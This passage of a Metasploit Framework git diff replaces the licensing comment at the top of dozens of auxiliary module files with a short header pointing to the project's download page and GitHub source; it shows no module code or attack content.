b/modules/auxiliary/admin/mysql/mysql_sql.rb index 5007283b27..c16eaa8bf5 100644 --- a/modules/auxiliary/admin/mysql/mysql_sql.rb +++ b/modules/auxiliary/admin/mysql/mysql_sql.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb index 5ad12e1a11..1e881959d0 100644 --- a/modules/auxiliary/admin/natpmp/natpmp_map.rb +++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb index 669b693c9f..0b45caa265 100644 --- a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb +++ b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb b/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb index 6ae3d74c20..b142a9e655 100644 --- a/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb +++ b/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index 9707555c05..f3714b804b 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/oracle/oracle_sql.rb b/modules/auxiliary/admin/oracle/oracle_sql.rb index faf137b3da..53442625e1 100644 --- a/modules/auxiliary/admin/oracle/oracle_sql.rb +++ b/modules/auxiliary/admin/oracle/oracle_sql.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/oracle/oraenum.rb b/modules/auxiliary/admin/oracle/oraenum.rb index 7d0f5c2df5..e9db326443 100644 --- a/modules/auxiliary/admin/oracle/oraenum.rb +++ b/modules/auxiliary/admin/oracle/oraenum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/oracle/osb_execqr.rb b/modules/auxiliary/admin/oracle/osb_execqr.rb index 26c8c9bdaa..319cabc7dd 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/oracle/osb_execqr2.rb b/modules/auxiliary/admin/oracle/osb_execqr2.rb index 11108666c8..10cd96d781 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr2.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr2.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/oracle/osb_execqr3.rb b/modules/auxiliary/admin/oracle/osb_execqr3.rb index ff81261950..7a3b043799 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr3.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr3.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb b/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb index 207d25fe0e..35a8ede0a1 100644 --- a/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb +++ b/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb b/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb index ac2e845a3d..6dd7746668 100644 --- a/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb +++ b/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/oracle/sid_brute.rb b/modules/auxiliary/admin/oracle/sid_brute.rb index 5f0078bc74..334c8d1c12 100644 --- a/modules/auxiliary/admin/oracle/sid_brute.rb +++ b/modules/auxiliary/admin/oracle/sid_brute.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/oracle/tnscmd.rb b/modules/auxiliary/admin/oracle/tnscmd.rb index 5ec3d7ae69..61412528ea 100644 --- a/modules/auxiliary/admin/oracle/tnscmd.rb +++ b/modules/auxiliary/admin/oracle/tnscmd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/pop2/uw_fileretrieval.rb b/modules/auxiliary/admin/pop2/uw_fileretrieval.rb index eb08a90ec0..77d4dc11db 100644 --- a/modules/auxiliary/admin/pop2/uw_fileretrieval.rb +++ b/modules/auxiliary/admin/pop2/uw_fileretrieval.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/postgres/postgres_readfile.rb b/modules/auxiliary/admin/postgres/postgres_readfile.rb index 4beab99f2c..b822b320a9 100644 --- a/modules/auxiliary/admin/postgres/postgres_readfile.rb +++ b/modules/auxiliary/admin/postgres/postgres_readfile.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/postgres/postgres_sql.rb b/modules/auxiliary/admin/postgres/postgres_sql.rb index 2d34ed5a14..cdce0e05fe 100644 --- a/modules/auxiliary/admin/postgres/postgres_sql.rb +++ b/modules/auxiliary/admin/postgres/postgres_sql.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb index 6848db0489..4058d9dac6 100644 --- a/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb +++ b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb index a73d5cfc27..c034b7fe21 100644 --- a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb +++ b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb index 33969e6bf3..c34366b974 100644 --- a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'uri' diff --git a/modules/auxiliary/admin/scada/igss_exec_17.rb b/modules/auxiliary/admin/scada/igss_exec_17.rb index 4ca6601b2c..d2444f0308 100644 --- a/modules/auxiliary/admin/scada/igss_exec_17.rb +++ b/modules/auxiliary/admin/scada/igss_exec_17.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/scada/modicon_command.rb b/modules/auxiliary/admin/scada/modicon_command.rb index 50b70a9a56..9040f7c8b1 100644 --- a/modules/auxiliary/admin/scada/modicon_command.rb +++ b/modules/auxiliary/admin/scada/modicon_command.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/scada/modicon_password_recovery.rb b/modules/auxiliary/admin/scada/modicon_password_recovery.rb index f6b1c86bdb..f8cdaadd8f 100644 --- a/modules/auxiliary/admin/scada/modicon_password_recovery.rb +++ b/modules/auxiliary/admin/scada/modicon_password_recovery.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb index fc2054594b..2631836d6a 100644 --- a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb +++ b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/scada/multi_cip_command.rb b/modules/auxiliary/admin/scada/multi_cip_command.rb index 432fb487e1..e6afe6f66a 100644 --- a/modules/auxiliary/admin/scada/multi_cip_command.rb +++ b/modules/auxiliary/admin/scada/multi_cip_command.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/serverprotect/file.rb b/modules/auxiliary/admin/serverprotect/file.rb index 874860c2d0..ea78adae63 100644 --- a/modules/auxiliary/admin/serverprotect/file.rb +++ b/modules/auxiliary/admin/serverprotect/file.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/smb/check_dir_file.rb b/modules/auxiliary/admin/smb/check_dir_file.rb index 29b85b576f..8e6199dd41 100644 --- a/modules/auxiliary/admin/smb/check_dir_file.rb +++ b/modules/auxiliary/admin/smb/check_dir_file.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/smb/list_directory.rb b/modules/auxiliary/admin/smb/list_directory.rb index b06cfdcc9b..7a686dc8db 100644 --- a/modules/auxiliary/admin/smb/list_directory.rb +++ b/modules/auxiliary/admin/smb/list_directory.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 0d7abf2112..e13a158888 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb index 69dd1c9a16..742aa2a4ef 100644 --- a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb +++ b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb index 7d265c0c6e..99cf0561fa 100644 --- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb +++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb index 1402c7b34b..f829d91801 100644 --- a/modules/auxiliary/admin/smb/upload_file.rb +++ b/modules/auxiliary/admin/smb/upload_file.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb index 1f029c50ed..b11202c9d3 100644 --- a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb +++ b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/tftp/tftp_transfer_util.rb b/modules/auxiliary/admin/tftp/tftp_transfer_util.rb index 1e997e7a58..0f15365e84 100644 --- a/modules/auxiliary/admin/tftp/tftp_transfer_util.rb +++ b/modules/auxiliary/admin/tftp/tftp_transfer_util.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/tikiwiki/tikidblib.rb b/modules/auxiliary/admin/tikiwiki/tikidblib.rb index ff55516be5..0b55648034 100644 --- a/modules/auxiliary/admin/tikiwiki/tikidblib.rb +++ b/modules/auxiliary/admin/tikiwiki/tikidblib.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/vmware/poweroff_vm.rb b/modules/auxiliary/admin/vmware/poweroff_vm.rb index 10a5e9ed0a..d89ba3f1d3 100644 --- a/modules/auxiliary/admin/vmware/poweroff_vm.rb +++ b/modules/auxiliary/admin/vmware/poweroff_vm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vmware/poweron_vm.rb b/modules/auxiliary/admin/vmware/poweron_vm.rb index 6f8eb5987f..194fb14824 100644 --- a/modules/auxiliary/admin/vmware/poweron_vm.rb +++ b/modules/auxiliary/admin/vmware/poweron_vm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vmware/tag_vm.rb b/modules/auxiliary/admin/vmware/tag_vm.rb index b2aa5a0b90..d0f0c254a8 100644 --- a/modules/auxiliary/admin/vmware/tag_vm.rb +++ b/modules/auxiliary/admin/vmware/tag_vm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb index a5329f816d..b6f6e61a9f 100644 --- a/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb +++ b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb b/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb index fd931d6ea8..16ddbb12c7 100644 --- a/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb +++ b/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb b/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb index e9ea7e8f4d..74e148a56c 100644 --- a/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb +++ b/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb b/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb index 2a9d9d70a7..9138927956 100644 --- a/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb +++ b/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb b/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb index 25196264e0..f9ade4f948 100644 --- a/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb +++ b/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb b/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb index 92e9ca1bca..16abf99a45 100644 --- a/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb +++ b/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb b/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb index 55c5f949cb..5fe695a22f 100644 --- a/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb +++ b/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/webmin/file_disclosure.rb b/modules/auxiliary/admin/webmin/file_disclosure.rb index b0cb064814..a2e486f89e 100644 --- a/modules/auxiliary/admin/webmin/file_disclosure.rb +++ b/modules/auxiliary/admin/webmin/file_disclosure.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/zend/java_bridge.rb b/modules/auxiliary/admin/zend/java_bridge.rb index d033b587db..bfd94598e1 100644 --- a/modules/auxiliary/admin/zend/java_bridge.rb +++ b/modules/auxiliary/admin/zend/java_bridge.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index 529043887a..2d249b27ba 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # ## diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb index 680ebad2b6..e98217b48f 100644 --- a/modules/auxiliary/analyze/jtr_crack_fast.rb +++ b/modules/auxiliary/analyze/jtr_crack_fast.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # ## diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb index b6fa663d96..63783252e8 100644 --- a/modules/auxiliary/analyze/jtr_linux.rb +++ b/modules/auxiliary/analyze/jtr_linux.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # ## diff --git a/modules/auxiliary/analyze/jtr_mssql_fast.rb b/modules/auxiliary/analyze/jtr_mssql_fast.rb index 6712f35891..0a6da9f4a1 100644 --- a/modules/auxiliary/analyze/jtr_mssql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mssql_fast.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # ## diff --git a/modules/auxiliary/analyze/jtr_mysql_fast.rb b/modules/auxiliary/analyze/jtr_mysql_fast.rb index e9a1e2eee3..e4c96aba1f 100644 --- a/modules/auxiliary/analyze/jtr_mysql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mysql_fast.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: 